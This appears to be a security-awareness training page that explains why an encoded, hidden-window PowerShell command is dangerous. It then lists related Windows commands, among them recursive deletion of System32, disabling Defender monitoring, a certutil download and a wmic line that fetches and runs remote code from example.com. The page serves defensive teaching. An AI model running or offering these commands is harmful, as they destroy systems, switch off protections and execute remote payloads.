Dangerous
powershell -nop -w hidden -enc RwBlAHQALQBEAGEAdABlAA==windows · powershell · Advanced
Runs a base64-encoded command with no profile and a hidden window. Judge the flags rather than the payload: -w hidden means the user sees nothing, -nop skips profile logging, and -enc exists to keep the command unreadable in logs and process listings.
Signals to notice
- Encoded command hides intent
- Hidden window suppresses user visibility
- Profile bypass reduces logging
Think you can spot these under time pressure?
Start TrainingMore Windows
Get-ProcessIntermediateRemove-Item -Recurse -Force C:\Windows\System32IntermediateGet-ChildItem -Path C:\Users -Recurse -Filter *.logAdvancedSet-MpPreference -DisableRealtimeMonitoring $trueIntermediatecertutil.exe -urlcache -split -f https://example.com/update.txt update.txtExpertwmic process call create "powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('https://example.com/a')"Nightmare